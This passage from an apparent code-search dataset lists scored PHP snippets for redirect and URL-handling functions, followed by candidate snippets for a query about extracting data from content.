'.$location);\n exit;\n }", "title": "" }, { "docid": "9eb127eb025b3654f19583f4bbbad89c", "score": "0.5304548", "text": "public function addWWW()\n {\n if (!preg_match('~^https?://www\\.~i', $this->url)) {\n $this->url = str_ireplace('://', '://www.', $this->url);\n }\n }", "title": "" }, { "docid": "366813ca34f6224956c912500730e1ec", "score": "0.5301334", "text": "function yourls_redirect( $location, $code = 301 ) {\n\t\t// Redirect, either properly if possible, or via Javascript otherwise\n\t\tif( !headers_sent() ) \n\t\t{\n\t\t\tself::yourls_status_header( $code );\n\t\t\theader(\"Location: $location\");\n\t\t} else \n\t\t{\n\t\t\tself::yourls_redirect_javascript( $location );\n\t\t}\n\t\tdie();\n\t}", "title": "" }, { "docid": "95aaaf2949183c75bfeb9047f312f7ff", "score": "0.52939427", "text": "function changeDePage($url) {\n\n header(\"location:\" . $url);\n exit;\n }", "title": "" }, { "docid": "88f1ad4f6262acabb3db52074b155086", "score": "0.52919984", "text": "function forcessl(){\n\t\n\tif(empty($_SERVER[\"HTTPS\"]) || $_SERVER[\"HTTPS\"] !== \"on\"){\n\t\theader(\"Location: https://\" . $_SERVER[\"HTTP_HOST\"] . $_SERVER[\"REQUEST_URI\"]);\n\t\texit();\n\t}\n\t\n}", "title": "" }, { "docid": "0937da86b682ab860701bd2a08f3be08", "score": "0.528872", "text": "public static function sslHeaders () {\n if ($_SERVER['SERVER_PORT'] != 443){\n $redirect = \"https://\" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];\n header(\"HTTP/1.1 301 Moved Permanently\");\n self::locationHeader($redirect);\n } \n }", "title": "" }, { "docid": "a512c34ebf7a5b3921ab52fa4c4fd377", "score": "0.52766645", "text": "function redirectToIndex(){\n\t\tif (! $this->CheckTransactionUser ()) {\n\t\t\t$lan = $this->_getParam ( 'lang' );\n\t\t\t$this->_redirect ( $lan . '/index/index' );\n\t\t\texit ();\n\t\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "b0a66557c9194a97f3ad724abea47118", "score": "0.5270666", "text": "function rediriger($url,$qs=\"\")\n{\n\t// Il faut respecter l'encodage des caractères dans les chaînes de requêtes\n\t// NB : Pose des problèmes en cas de valeurs multiples\n\t// TODO: Passer un tabAsso en paramètres\n\n\tif ($qs != \"\") $qs = \"?$qs\";\n \n\theader(\"Location:$url$qs\"); // envoi par la méthode GET\n\tdie(\"\"); // interrompt l'interprétation du code \n\n\t// TODO: on pourrait passer en parametre le message servant au die...\n}", "title": "" }, { "docid": "3969fa6f809db9545e1fedd8807e0602", "score": "0.52638704", "text": "public function beforeRender() {\n\t\t// Check if SSL is required. Set $this->require_ssl on any Controller object.\n\t\t// This check must happen in beforeRender() since $this->require_ssl won't be set in beforeFilter() if set in a controller+action\n\t\tif (isset($this->require_ssl) && $this->require_ssl && (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] != 'on') && IDENTIFIER == 'production') {\n\t\t\theader('HTTP/1.1 301 Moved Permanently');\n \t\t\t$this->redirect(\"https://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}\");\n\t\t}\n\t\tparent::beforeRender();\n\t}", "title": "" }, { "docid": "013dedd586649c5862ad5de1ef8ddeca", "score": "0.5261529", "text": "public function proxy() {\n\t\t$named = array();\n\n\t\tforeach ($this->data['Profile'] as $field => $value) {\n\t\t\tif ($value != '') {\n\t\t\t\t$named[$field] = urlencode($value);\n\t\t\t}\t\n\t\t}\n\t\t\n\t\t$this->redirect(array_merge(array('controller' => 'users', 'action' => 'index'), $named));\n\t}", "title": "" }, { "docid": "9e240336e89c74208215339341dfc6f7", "score": "0.5257201", "text": "public function viAction() {\n\t\t//$siteConfig = Zend_Registry::get('siteConfig');\n $cookieData = Zend_Controller_Request_Http::getCookie('link');\n \n\t\t$ns = new Zend_Session_Namespace('language');\n $ns->lang = 'vi';\n $this->_redirect($cookieData);\n\t\t\n\t}", "title": "" }, { "docid": "fc3864bee711770b3b21f9e1307e1814", "score": "0.52510256", "text": "public static function redirect($url)\n\t{\n\t\t// @codeCoverageIgnoreStart\n\t\theader(\"HTTP/1.1 301 Moved Permanently\");\n\t\theader(\"Location: \" . $url);\n\t\tdie();\n\t\t// @codeCoverageIgnoreEnd\n\t}", "title": "" }, { "docid": "307fb31a7f11f8827429174c95298941", "score": "0.5247034", "text": "function url_translator($str){\n $lt=array(\"ą\",\"č\",\"ę\",\"ė\",\"į\",\"š\",\"ų\",\"ū\",\"ž\",\"A\",\"Č\",\"Ę\",\"Ė\",\"Į\",\"Š\",\"Ų\",\"Ū\",\"Ž\");\n $rlt=array(\"a\",\"c\",\"e\",\"e\",\"i\",\"s\",\"u\",\"u\",\"z\",\"A\",\"C\",\"E\",\"E\",\"I\",\"S\",\"U\",\"U\",\"Z\");\n $str=str_replace($lt,$rlt,$str);\n // <--\n\n //$str = mb_strtolower($str, \"utf-8\");\n $str = $this->cyr_to_en($str);\n $str = strtolower($str);\n\n $str=html_entity_decode($str, ENT_QUOTES);\n $str= preg_replace(\"#[^a-zA-Z0-9]+#\", '-', $str);\n $str=preg_replace(\"#^_+#\", '', $str);\n $str=preg_replace('#_+$#', '', $str);\n\n return $str;\n }", "title": "" }, { "docid": "e20870977ccbdfe5f58768001fc35dde", "score": "0.5245151", "text": "function wpcom_vip_wp_old_slug_redirect()\n{\n global $wp_query;\n if (is_404() && '' !== $wp_query->query_vars['name']) {\n $redirect = wp_cache_get('old_slug' . $wp_query->query_vars['name']);\n\n if (false === $redirect) {\n // Run the caching callback as the very firts one in order to capture the value returned by WordPress from database. This allows devs from using `old_slug_redirect_url` filter w/o polluting the cache\n add_filter('old_slug_redirect_url', 'wpcom_vip_set_old_slug_redirect_cache', -9999, 1);\n // If an old slug is not found the function returns early and does not apply the old_slug_redirect_url filter. so we will set the cache for not found and if it is found it will be overwritten later in wpcom_vip_set_old_slug_redirect_cache()\n wp_cache_set('old_slug' . $wp_query->query_vars['name'], 'not_found', 'default', 12 * HOUR_IN_SECONDS + mt_rand(0, 12 * HOUR_IN_SECONDS));\n } elseif ('not_found' === $redirect) {\n // wpcom_vip_set_old_slug_redirect_cache() will cache 'not_found' when a url is not found so we don't keep hammering the database\n remove_action('template_redirect', 'wp_old_slug_redirect');\n return;\n } else {\n /** This filter is documented in wp-includes/query.php. */\n $redirect = apply_filters('old_slug_redirect_url', $redirect);\n wp_redirect($redirect, 301); // this is kept to not safe_redirect to match the functionality of wp_old_slug_redirect\n exit;\n }\n }\n}", "title": "" }, { "docid": "6a14d40417750521885f4188ca5ecbdd", "score": "0.52245295", "text": "public function redirect() {\n wp_redirect(add_query_arg(\n [\n 'page' => self::MENU_SLUG,\n 'settings-updated' => 'true',\n ],\n network_admin_url(self::PARENT_SLUG)\n ));\n }", "title": "" }, { "docid": "14c988c47e7b853609f6844bd68d1cf0", "score": "0.52044463", "text": "final public function setredirect($url='') {\n\n //@TODO: resolve this URL\n $this->redirect = trim($url);\n }", "title": "" }, { "docid": "0b08d7a7de16e32dd4efa4aa2b4613f7", "score": "0.5202284", "text": "public function shouldRedirect()\n {\n return $this->getCurrentLocale() != $this->getUrlLocale();\n }", "title": "" }, { "docid": "6409aa0f25721a2eded23e4b3b23a053", "score": "0.52001786", "text": "function index()\n\t{\n\t\tredirect('');\n\t\t\n\t}", "title": "" }, { "docid": "e93d31355572492a4faa84a270f1536e", "score": "0.5191815", "text": "public function toLowerCase($classID, $route, $id2, $route2){\n // code \n\n }", "title": "" }, { "docid": "767d17b39a94617217d1b2ad31252bda", "score": "0.519036", "text": "function mjh_redirects_events() {\n\tif( !empty( $_SERVER['REDIRECT_URL'] ) ){\n\t\t$path = $_SERVER['REDIRECT_URL'];\n\t\t$root_url = get_bloginfo('url');\n\n\t\tswitch($path){\n\t\t\tcase'/lessons/':\n\t\t\t\twp_redirect( $root_url.'/lesson-plans' );\n\t\t\t\texit;\n\t\t\t\tbreak;\n\t\t\tcase'/events/':\n\t\t\t\twp_redirect( $root_url.'/current-events' );\n\t\t\t\texit;\n\t\t\t\tbreak;\n\t\t\tcase'/testimonies/':\n\t\t\t\twp_redirect( $root_url.'/testimony-archives' );\n\t\t\t\texit;\n\t\t\t\tbreak;\n\t\t\tcase'/artifacts/':\n\t\t\t\twp_redirect( $root_url.'/artifacts-archives' );\n\t\t\t\texit;\n\t\t\t\tbreak;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7231f265741fc0f8e92a0ec6a7995dc4", "score": "0.5189134", "text": "function redirect( $url, $abs = false ) {\r\n if ( isset($_REQUEST['_json']) ) {\r\n $url .= preg_match(\"/\\?/ui\", $url, $match) ? \"&_json=yes\" : \"?_json=yes\";\r\n }\r\n\r\n if ( $abs )\r\n $url = BASE_URL . $url;\r\n header(\"Location: $url\");\r\n exit;\r\n\r\n}", "title": "" }, { "docid": "a4edecbb949ba3f4645d692d62c9af77", "score": "0.5187412", "text": "function see_other($url) {\n header('Location: ' . $url);\n return response(303);\n}", "title": "" }, { "docid": "3aeca0e44cb1f9c435d89ce227f89ea6", "score": "0.5180504", "text": "public function permanentRedirectAction()\n {\n throw new PermanentRedirectResultException('https://domain.com/');\n }", "title": "" }, { "docid": "c413f857b177f4df35fb2763183e7b21", "score": "0.517831", "text": "function capsule_login_redirect($redirect_to, $request_str) {\n\tif (empty($request_str)) {\n\t\t$redirect_to = home_url('/');\n\t}\n\treturn $redirect_to;\n}", "title": "" }, { "docid": "3ed0982be7c292ac92f3ae3cbd758975", "score": "0.51727", "text": "public function setLowerCase($lowerCase);", "title": "" }, { "docid": "a252a29964daf7f49387d755666527b9", "score": "0.51627344", "text": "public function redirect(): bool;", "title": "" }, { "docid": "b576541001edb8f3be1b2173a673d282", "score": "0.5161799", "text": "function wpcom_vip_old_slug_redirect()\n{\n global $wp_query;\n if (is_404() && '' !== $wp_query->query_vars['name']) {\n global $wpdb;\n\n // Guess the current post_type based on the query vars.\n if (get_query_var('post_type')) {\n $post_type = get_query_var('post_type');\n } elseif (! empty($wp_query->query_vars['pagename'])) {\n $post_type = 'page';\n } else {\n $post_type = 'post';\n }\n\n if (is_array($post_type)) {\n if (count($post_type) > 1) {\n return;\n }\n $post_type = array_shift($post_type);\n }\n\n // Do not attempt redirect for hierarchical post types\n if (is_post_type_hierarchical($post_type)) {\n return;\n }\n\n $query = $wpdb->prepare(\"SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND post_type = %s AND meta_key = '_wp_old_slug' AND meta_value = %s\", $post_type, $wp_query->query_vars['name']);\n\n // if year, monthnum, or day have been specified, make our query more precise\n // just in case there are multiple identical _wp_old_slug values\n if ('' !== $wp_query->query_vars['year']) {\n $query .= $wpdb->prepare(' AND YEAR(post_date) = %d', $wp_query->query_vars['year']);\n }\n if ('' !== $wp_query->query_vars['monthnum']) {\n $query .= $wpdb->prepare(' AND MONTH(post_date) = %d', $wp_query->query_vars['monthnum']);\n }\n if ('' !== $wp_query->query_vars['day']) {\n $query .= $wpdb->prepare(' AND DAYOFMONTH(post_date) = %d', $wp_query->query_vars['day']);\n }\n\n $cache_key = md5(serialize($query));\n\n if (false === $id = wp_cache_get($cache_key, 'wp_old_slug_redirect')) {\n $id = (int) $wpdb->get_var($query);\n\n wp_cache_set($cache_key, $id, 'wp_old_slug_redirect', 5 * MINUTE_IN_SECONDS);\n }\n\n if (! $id) {\n return;\n }\n\n $link = get_permalink($id);\n\n if (! $link) {\n return;\n }\n\n wp_redirect($link, 301); // Permanent redirect\n exit;\n }\n}", "title": "" }, { "docid": "52ff808a66105b82474d33eb919e8376", "score": "0.51482856", "text": "private function changeCase($docment)\n\t{\n\t\treturn strtolower($docment);\n\t}", "title": "" }, { "docid": "32c4aee5b28329c0c33b3ae6a1d442c8", "score": "0.5143363", "text": "function getUrl() {\r\n $url = strtolower($_GET[\"url\"]);\r\n\r\n if ($url == \"\") {\r\n $url = \"index\";\r\n }\r\n\r\n if (strrpos($url,\"/\") !== false && strrpos($url,\"/\") == strlen($url)-1 ) {\r\n $url = substr($url,0,strlen($url)-1);\r\n }\r\n return $url;\r\n }", "title": "" }, { "docid": "666b0fac69478a073197be6b37f4c5d0", "score": "0.51267105", "text": "function camelcaselink($link) {\n $this->internallink($link,$link);\n }", "title": "" }, { "docid": "8bb63d6be929f0dd30004ec1a882ef10", "score": "0.5123822", "text": "public function stripWWW()\n {\n $this->url = str_ireplace('://www.', '://', $this->url);\n }", "title": "" }, { "docid": "7381d774b89e036e9f4fffd5f65509a4", "score": "0.5117434", "text": "protected function lowerFilter($var, $arguments)\n {\n return strtolower($var);\n }", "title": "" }, { "docid": "67caee47d8fab1e84dddc6c67396b322", "score": "0.51145154", "text": "public function refresh() {\n $redirect = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';\n if (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING']) {\n $redirect .= '?' . $_SERVER['QUERY_STRING'];\n }\n $this->redirect($redirect);\n }", "title": "" }, { "docid": "13d86449cc263c4152234cb0fc127dbc", "score": "0.5112504", "text": "public function actionChangeLanguage()\n {\n\n if ( ($language = Yii::$app->request->getQueryParam(\"languageCode\") ) )\n {\n Language::setLanguage( $language );\n\n $rote = Yii::$app->request->getQueryParam(\"route\", 'admin/index');\n if ( strstr($rote, \"update\") !== false ) {\n\n $rote = \"story/index\";\n }\n return $this->redirect([$rote, 'language' => $language]);\n }\n return $this->goBack();\n\n }", "title": "" }, { "docid": "4b35433197f3c8b6d4120c73d006240b", "score": "0.5111456", "text": "public function routeStartup(Zend_Controller_Request_Abstract $request)\n {\n /*\n * Qui redirige les liens d'OpaleBD\n * Si le parametre idAlbum est présent dans la QS,\n * on redirige vers la fiche\n * @todo faire un plugin sur V6\n */\n if (isset($_GET['idAlbum']) && $_GET['idAlbum']) {\n $idAlbum = (int)$_GET['idAlbum'];\n if ($idAlbum !== 0) {\n header(\"HTTP/1.1 301 Moved Permanently\");\n header('location:http://www.sceneario.com/url/convert?id='.$idAlbum);\n exit(0);\n }\n }\n }", "title": "" }, { "docid": "c1bae7b03f73684c8c5d5058218de91d", "score": "0.5110236", "text": "public function redirectToSiteAccess()\n {\n // Process redirection only if current siteaccess is default\n if ( !nxcSiteAccess::get()->isDefault() )\n {\n return;\n }\n\n $url = $this->getRedirectURL( eZSys::requestURI() );\n if ( !$url )\n {\n return;\n }\n\n header( \"Location: $url\" );\n eZExecution::cleanExit();\n }", "title": "" }, { "docid": "579e04ba76dc8c85dd495dbe81681a97", "score": "0.5109486", "text": "static function redirect( $url, $condition = \"post\" ) {\n\t\tswitch( $condition ) {\n\t\t\tcase \"permanent\":\n\t\t\t\theader(\"Location: \" . $url, true, 301);\n\t\t\t\tbreak;\n\t\t\tcase \"post\":\n\t\t\t\theader(\"Location: \" . $url, true, 303);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\tcase \"temporary\":\n\t\t\t\theader(\"Location: \" . $url, true, 302);\n\t\t\t\tbreak;\n\t\t}\n\n\t\texit(0);\n\t}", "title": "" }, { "docid": "ac926513610c65e207ee47ef89c0155c", "score": "0.5108957", "text": "function index()\n {\n redirect('');\n\n }", "title": "" }, { "docid": "0621186cf0537408877c2362707a25e4", "score": "0.51075876", "text": "function urlRedirect($url, $dest = '')\n {\n if (!strlen($dest)) {\n if ($url != $this->_url) {\n $this->_redirect($url);\n }\n } else if ($url == $this->_url && $url != $dest) {\n if (strlen($this->_urlParams)) {\n if (strpos($dest, '?') === false)\n $dest .= \"?\" . $this->_urlParams;\n else\n $dest .= \"&\" . $this->_urlParams;\n }\n $this->_redirect($dest);\n }\n }", "title": "" }, { "docid": "c2f4f24a921370fc81a8bb9bf524d4f4", "score": "0.5099227", "text": "public function activate()\n\t{\n\t\tflush_rewrite_rules();\n\t}", "title": "" }, { "docid": "ea6b124d57082b6b42f6b46a61de4294", "score": "0.5089361", "text": "function wpcom_vip_maybe_skip_old_slug_redirect()\n{\n\n //We look to see if a malformed url (represented by 'http:' ) is right after the starting / in DOCUMENT_URI hence position 1\n if (is_404() && (1 === strpos($_SERVER['DOCUMENT_URI'], 'http:') || 1 === strpos($_SERVER['DOCUMENT_URI'], 'https:'))) {\n remove_action('template_redirect', 'wp_old_slug_redirect');\n remove_action('template_redirect', 'wpcom_vip_wp_old_slug_redirect', 8);\n }\n}", "title": "" }, { "docid": "b4d83ba71cd75bca22b16f419d841249", "score": "0.50883114", "text": "function urls_amigables($url) {\n\n\t\t\t$url = mb_strtolower ($url, 'UTF-8');\n\n\n\n\t\t\t//Rememplazamos caracteres especiales latinos\n\n\n\n\t\t\t$find = array('á', 'é', 'í', 'ó', 'ú', 'ñ');\n\n\n\n\t\t\t$repl = array('a', 'e', 'i', 'o', 'u', 'n');\n\n\n\n\t\t\t$url = str_replace ($find, $repl, $url);\n\n\n\n\t\t\t// Añaadimos los guiones\n\n\n\n\t\t\t$find = array(' ', '&', '\\r\\n', '\\n', '+'); \n\n\t\t\t$url = str_replace ($find, '-', $url);\n\n\n\n\t\t\t// Eliminamos y Reemplazamos demás caracteres especiales\n\n\n\n\t\t\t$find = array('/[^a-z0-9\\-<>]/', '/[\\-]+/', '/<[^>]*>/');\n\n\n\n\t\t\t$repl = array('', '-', '');\n\n\n\n\t\t\t$url = preg_replace ($find, $repl, $url);\n\n\n\n\t\t\treturn $url;\n\n\t\t}", "title": "" } ]
5def9cf46b4e8efaeb9c8449634a9f33
extract data from provided content
[ { "docid": "b8cf4c6ccb7204a4d75239985f1d1e8b", "score": "0.0", "text": "public function extract()\n {\n $extractions = [];\n foreach ($this->options as $key => $regexes) {\n if (is_array($regexes)) {\n $extractions[$key] = [];\n foreach ($regexes as $regex) {\n $result = $this->__pregMatch($regex);\n if (!is_null($result)) {\n $extractions[$key][] = $result;\n }\n unset($result);\n }\n } else {\n $result = $this->__pregMatch($regexes);\n if (!is_null($result)) {\n $extractions[$key][] = $result;\n }\n unset($result);\n }\n }\n\n return $extractions;\n }", "title": "" } ]
[ { "docid": "450e4ecdaf8de3cc121d52bff43daa65", "score": "0.7823133", "text": "public function extract($content);", "title": "" }, { "docid": "5236107ba06d57ccbc35d86465c3f0a9", "score": "0.70557576", "text": "public function extract();", "title": "" }, { "docid": "5236107ba06d57ccbc35d86465c3f0a9", "score": "0.70557576", "text": "public function extract();", "title": "" }, { "docid": "66f442386c7487f75aa314cfa4be755e", "score": "0.6990091", "text": "public function getContentParsed();", "title": "" }, { "docid": "8e0e3d09d8d13787c2717cf375f6af90", "score": "0.69055265", "text": "abstract public function extract();", "title": "" }, { "docid": "4ddb76812dac78be5f859880e2c650c2", "score": "0.66410744", "text": "function parseData(){\r\n\t\t$content = array();\r\n\t\tforeach($this->pv as $key=>$value){\r\n\t\t\tif(preg_match(\"/content_(.*)_(.*)/\", $key, $arr)){\r\n\t\t\t\t$field\t= $arr[1];\r\n\t\t\t\t$lang \t= $arr[2];\r\n\t\t\t\tif(is_array($content[$lang])){\r\n\t\t\t\t\t$content[$lang][$field] = $value;\r\n\t\t\t\t}\r\n\t\t\t\telse $content[$lang] = array($field => $value);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t$this->content = $content;\r\n\t}", "title": "" }, { "docid": "cb4e284553d237dff2c792a1e136cd84", "score": "0.6523025", "text": "protected function _abstractData($content)\r\n {\r\n if (preg_match_all(\"/([^\\s]+)\\s+\\\"([^\\\"]*)\\\"/\", $content, $hits)) {\r\n \r\n $this->_abstractData = array();\r\n foreach ($hits[1] as $index => $key) {\r\n \r\n $this->_abstractData[$key] = $hits[2][$index];\r\n }\r\n \r\n return $this->_abstractData;\r\n }\r\n }", "title": "" }, { "docid": "e577c9c1882986c0f3383c4ee024c22a", "score": "0.64622897", "text": "public function extract () {}", "title": "" }, { "docid": "39ae94fbdb12259c981efcc0cc9f9793", "score": "0.64469844", "text": "public function parseData() {\n $text = $this;\nprint \"<p>\".$text->id; \n $wikitext = TemplateExtractor::removeComments($text->wikitext); // remove comments\n\n $wikitext = TemplateExtractor::removeTale($text->wikitext); \n\n $wikitext = TemplateExtractor::removeWikiLinks($wikitext); // remove wiki links\n\n $wikitext = TemplateExtractor::removeLangTemplates($wikitext); // remove lang templates\n\n $wikitext = TemplateExtractor::removeRefTags($wikitext); // remove tags <ref...>...</ref>\n\n $text->author_id = Author::searchAuthorID($wikitext); // extract author\n\n $text_info = self::parseWikitext($wikitext);\n $text->text = $text_info['text'];\n\n $text->publication_id = Publication::parseWikitext(\n $wikitext, \n $text->author_id,\n $text_info['title'],\n $text_info['creation_date']\n );\n if ($text->publication && $text->publication->author_id) {\n $text->author_id = $text->publication->author_id;\n }\n $text->push();\n }", "title": "" }, { "docid": "57c9e1580acbaa9a463901cc62601cde", "score": "0.6310098", "text": "public function parse(& $content);", "title": "" }, { "docid": "3c71fec48432996fc2b4d6883a52af83", "score": "0.6256841", "text": "public abstract function getParsedContent(): string;", "title": "" }, { "docid": "b5f0b11b1fc9d621e0893225072fcc73", "score": "0.6216921", "text": "abstract protected function _extractData(\\DOMDocument $dom);", "title": "" }, { "docid": "ef5c9a807b3ca715001ffe1b08b71f41", "score": "0.61622703", "text": "function get_data($tag_name, $contents) {\r\n unset($num, $s, $e, $exp, $data);\r\n $num = strlen($tag_name);\r\n $s = ($num + 2);\r\n $e = ($num - (($num * 2) + 3));\r\n $exp = \"/\\[\".$tag_name.\"\\](.*)\\[\\/\".$tag_name.\"\\]/si\";\r\n $data = preg_match($exp, $contents, $matches);\r\n $data = substr($matches[0], $s, $e);\r\n $data = trim($data);\r\n $data = explode(\"\\n\", $data);\r\n\r\n return $data;\r\n}", "title": "" }, { "docid": "2802a38f53898790da75ddd4d979e817", "score": "0.6128779", "text": "function parseContent($content) {\r\n\t\t\t$rslt = $content;\r\n\t\t\t$rslt = $this->executeParse($rslt,\"[dojocontent]\",\"[/dojocontent]\");\r\n\t\t\treturn $rslt;\r\n\t\t}", "title": "" }, { "docid": "10f431ed4e6de49ae5c98b60f59fe1d6", "score": "0.61054885", "text": "public function extract_data($body, $start_text = null)\n {\n $field_position = array_search($start_text, $body);\n if ((! $field_position === false) && array_key_exists($field_position + 1, $body)) {\n $data = $body[$field_position + 1];\n }\n // dd($body, $start_text, $field_position, $data);\n return (isset($data)) ? trim($data) : null;\n }", "title": "" }, { "docid": "01cc8416451cc31f8669b831332bec53", "score": "0.6084882", "text": "function textwise_deserialize_input($content) {\r\n\t$arrValidCols = array('title', 'description', 'landingPageUrl', 'imageUrl', 'channelTitle', 'channelLink');\r\n\t$result = array();\r\n\t$records = explode(\"\\r\\n\\r\\n\", $content);\r\n\tforeach ($records as $record) {\r\n\t\t$rows = explode(\"\\n\", $record);\r\n\t\t$rowdata = array();\r\n\t\tforeach ($rows as $row) {\r\n\t\t\t$cols = explode(\"\\t\", $row);\r\n\t\t\tif (in_array($cols[0], $arrValidCols)) {\r\n\t\t\t\t$rowdata[$cols[0]] = $cols[1];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (count($rowdata) > 0) {\r\n\t\t\t$result[] = $rowdata;\r\n\t\t}\r\n\t}\r\n\treturn $result;\r\n}", "title": "" }, { "docid": "8eaad9fba551ee4f19f885c0b234c76a", "score": "0.59565526", "text": "function parse_return($content)\n\t\t{\n\t\t\t$refId = $this->substring_between($content,'<refId>','</refId>');\n\t\t\t$resultCode = $this->substring_between($content,'<resultCode>','</resultCode>');\n\t\t\t$code = $this->substring_between($content,'<code>','</code>');\n\t\t\t$text = $this->substring_between($content,'<text>','</text>');\n\t\t\t$subscriptionId = $this->substring_between($content,'<subscriptionId>','</subscriptionId>');\n\t\t\treturn array ($refId, $resultCode, $code, $text, $subscriptionId);\n\t\t}", "title": "" }, { "docid": "638ba1bf6c07614fa2051370b402bad1", "score": "0.5939356", "text": "private function content(){\n\t\treturn $this->input[$this->pos];\n }", "title": "" }, { "docid": "a5c4f4487f34c65e0c22fd8831c3690a", "score": "0.58977526", "text": "function parse($data);", "title": "" }, { "docid": "e8945a636cfe1384c7aaa38e3ee6c616", "score": "0.5874345", "text": "function parse_return($content)\r\n\t{\r\n\t\t$refId = $this->substring_between($content,'<refId>','</refId>');\r\n\t\t$resultCode = $this->substring_between($content,'<resultCode>','</resultCode>');\r\n\t\t$code = $this->substring_between($content,'<code>','</code>');\r\n\t\t$text = $this->substring_between($content,'<text>','</text>');\r\n\t\t$subscriptionId = $this->substring_between($content,'<subscriptionId>','</subscriptionId>');\r\n\t\treturn array ($refId, $resultCode, $code, $text, $subscriptionId);\r\n\t}", "title": "" }, { "docid": "21a5dabae915ef162dfeef5625bf17e8", "score": "0.5865048", "text": "function parse_return($content)\r\r\n\t\t{\r\r\n\t\t\t$refId = $this->substring_between($content,'<refId>','</refId>');\r\r\n\t\t\t$resultCode = $this->substring_between($content,'<resultCode>','</resultCode>');\r\r\n\t\t\t$code = $this->substring_between($content,'<code>','</code>');\r\r\n\t\t\t$text = $this->substring_between($content,'<text>','</text>');\r\r\n\t\t\t$status = $this->substring_between($content,'<status>','</status>');\r\r\n\t\t\t$subscriptionId = $this->substring_between($content,'<subscriptionId>','</subscriptionId>');\r\r\n\t\t\treturn array ($status, $refId, $resultCode, $code, $text, $subscriptionId);\r\r\n\t\t}", "title": "" }, { "docid": "4ce2a2dcfb4daf3c8b2a9ff3af1ef0fc", "score": "0.5856288", "text": "public function extract()\n {\n return $this->data;\n }", "title": "" }, { "docid": "ad9d02d5fcdbb450e6675c06f485c507", "score": "0.5851329", "text": "public function extractInfosFromRawMail() {\r\n \r\n return Mage::getModel('CrmTicket/Email_MailParser')->parse(\r\n $this->getctm_rawheader(),\r\n $this->retrieveRawContent());\r\n }", "title": "" }, { "docid": "5b6d2f3871d940592b0a7edde3c51613", "score": "0.583404", "text": "public function Data() {\n\t\tif(!is_string($this->content)) return null;\n\t\treturn $this->parseobject(json_decode($this->content));\n\t}", "title": "" }, { "docid": "2310da174801f758529c62becf03b8f7", "score": "0.5793382", "text": "public function process($content){\n\t\treturn $content;\n\t}", "title": "" }, { "docid": "176c4555a560799549f0884625f48d56", "score": "0.5771121", "text": "public function parse();", "title": "" }, { "docid": "176c4555a560799549f0884625f48d56", "score": "0.5771121", "text": "public function parse();", "title": "" }, { "docid": "93e2ffc9daf497350d2d0dd829128ed3", "score": "0.57516026", "text": "function getCustomData() {\n\t\tif (!$this->parsed) $this->_parseContent();\n\t\treturn $this->custom_data;\n\t}", "title": "" }, { "docid": "c3f380859dc40debcaf68152df3f4584", "score": "0.57464164", "text": "private function person_parse_detail($key, $content) {\n\t\t\tswitch($key) {\n\t\t\t\t// nickname\n\t\t\t\tcase 'nickname':\n\t\t\t\t\t// list\n\t\t\t\t\t$content_split = preg_split(\"#\\s*<br>\\s*#si\", $content, -1, PREG_SPLIT_NO_EMPTY);\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($content_split)) {\n\t\t\t\t\t\treturn array(\"type\" => \"list\", \"rows\" => $content_split);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'height':\n\t\t\t\t\tif(preg_match(\"#\\(([0-9\\.]+)\\s*m\\)#si\", $content, $match)) {\n\t\t\t\t\t\treturn array(\n\t\t\t\t\t\t\t'type'\t=> \"measurement\",\n\t\t\t\t\t\t\t'scale'\t=> \"cm\",\n\t\t\t\t\t\t\t'value'\t=> ($match[1] * 100),\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif(preg_match(\"#([0-9]+)\\s*\\'\\s+([0-9\\.]+)\\s*\\\"#si\", $content, $match)) {\n\t\t\t\t\t\treturn array(\n\t\t\t\t\t\t\t'type'\t=> \"measurement\",\n\t\t\t\t\t\t\t'scale'\t=> \"cm\",\n\t\t\t\t\t\t\t'value'\t=> ( ($match[1] * 12 * 2.54) + ($match[2] * 2.54) ),\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\treturn $content;\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'trivia':\n\t\t\t\tcase 'personal_quotes':\n\t\t\t\tcase 'trade_mark':\n\t\t\t\t\t// list\n\t\t\t\t\tif(preg_match_all(\"#<p>(.+?)<\\/p>#si\", $content, $matches)) {\n\t\t\t\t\t\treturn array(\"type\" => \"list\", \"rows\" => $matches[1]);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'where_are_they_now':\n\t\t\t\t\t// list (special instructions)\n\t\t\t\t\tif(preg_match_all(\"#<p>(.+?)<\\/p>#si\", $content, $matches)) {\n\t\t\t\t\t\t$rows = array();\n\t\t\t\t\t\t\n\t\t\t\t\t\tforeach($matches[1] as $row) {\n\t\t\t\t\t\t\tif(preg_match(\"#^\\s*\\((January|February|March|April|May|June|July|August|September|October|November|December)\\s+(\\d{4})\\)\\s*(.+)$#si\", $row, $match)) {\n\t\t\t\t\t\t\t\t$rows[] = array(\n\t\t\t\t\t\t\t\t\t'date'\t\t=> trim($match[1] .\" \". $match[2], \" ()\"),\n\t\t\t\t\t\t\t\t\t'content'\t=> trim($match[3], \" ()\"),\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t$rows[] = $row;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\treturn array(\"type\" => \"list\", \"rows\" => $rows);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase 'mini_biography':\n\t\t\t\t\tif(preg_match(\"#\\s+<b>IMDb Mini Biography 